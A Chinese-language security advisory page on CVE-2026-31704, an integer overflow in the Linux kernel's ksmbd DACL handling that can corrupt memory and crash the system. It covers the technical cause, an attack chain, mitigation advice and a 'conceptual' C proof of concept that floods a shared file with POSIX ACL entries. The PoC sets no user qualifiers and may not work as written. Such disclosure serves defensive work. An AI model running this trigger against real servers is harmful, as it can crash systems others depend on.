IPBUF安全漏洞报告
English
CVE-2026-31704 CVSS 5.5 中危

CVE-2026-31704: Linux内核ksmbd组件DACL大小溢出漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31704
漏洞类型
整数溢出
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelksmbdInteger OverflowDoSLocalMemory Corruption

漏洞概述

Linux内核中的ksmbd模块存在安全漏洞。在处理DACL(自主访问控制列表)时,相关函数使用u16类型变量累加ACE大小。当文件包含大量POSIX ACL条目时,累加值可能超过65535导致溢出回绕。这会导致指针算术错误,覆盖已写入的内存区域,造成可用性影响。

技术细节

该漏洞源于Linux内核ksmbd模块的smbacl.c文件。函数`set_posix_acl_entries_dacl()`和`set_ntacl_dacl()`在构建DACL时,使用`u16`类型的变量累加访问控制项(ACE)的大小。由于`u16`最大值为65535,当单个文件的POSIX ACL条目数量非常多时,累加的总大小会超过该限制,触发整数溢出并回绕。溢出后,指针运算`(char *)pndace + *size`会指向缓冲区中已写入数据的位置(而非预期的新位置)。后续的写入操作将覆盖之前的ACE条目,导致内存损坏。最终,`pndacl->size`被设置为错误的截断值。这可能导致系统崩溃或拒绝服务。

攻击链分析

STEP 1
步骤1
攻击者获得本地低权限访问权限(PR:L)。
STEP 2
步骤2
攻击者访问由ksmbd导出的共享文件系统。
STEP 3
步骤3
攻击者在共享目录下创建一个文件。
STEP 4
步骤4
攻击者利用系统调用为该文件设置包含大量条目(超过65535字节)的POSIX ACL。
STEP 5
步骤5
内核ksmbd模块在处理ACL时,u16变量发生整数溢出,导致指针回绕。
STEP 6
步骤6
写入操作覆盖内存中的已有数据,导致内核崩溃或拒绝服务(A:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <sys/acl.h> #include <stdio.h> #include <stdlib.h> // Conceptual Proof of Concept for CVE-2026-31704 // This PoC attempts to trigger the u16 overflow in ksmbd by setting // a large number of POSIX ACL entries on a file. int main() { const char *file_path = "/mnt/ksmbd_share/target_file"; // Create a file if it doesn't exist FILE *f = fopen(file_path, "w"); if (f) fclose(f); // Initialize ACL with a large number of entries // Aiming for total size > 65535 bytes (u16 max) // Each entry is approx 12-24 bytes. 5000 entries should be sufficient. acl_t acl = acl_init(5000); if (!acl) { perror("acl_init failed"); return 1; } printf("[+] Adding ACL entries to trigger overflow...\n"); for (int i = 0; i < 5000; i++) { acl_entry_t entry; acl_permset_t permset; if (acl_create_entry(&acl, &entry) == -1) { perror("acl_create_entry failed"); break; } acl_get_permset(entry, &permset); acl_add_perm(permset, ACL_READ); acl_set_permset(entry, &permset); // Set a dummy tag (e.g., USER) acl_set_tag_type(entry, ACL_USER); } // Apply the ACL to the file via the ksmbd interface if (acl_set_file(file_path, ACL_TYPE_ACCESS, acl) == -1) { perror("[!] Failed to set ACL (Kernel might be patched or limit enforced)"); } else { printf("[+] ACL set successfully. Check kernel logs for memory corruption or crash.\n"); } acl_free(acl); return 0; }

影响范围

Linux Kernel (修复前的版本)

防御指南

临时缓解措施
建议限制本地用户对文件系统设置扩展ACL的权限,或在未升级内核前暂时禁用ksmbd服务以防止漏洞被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表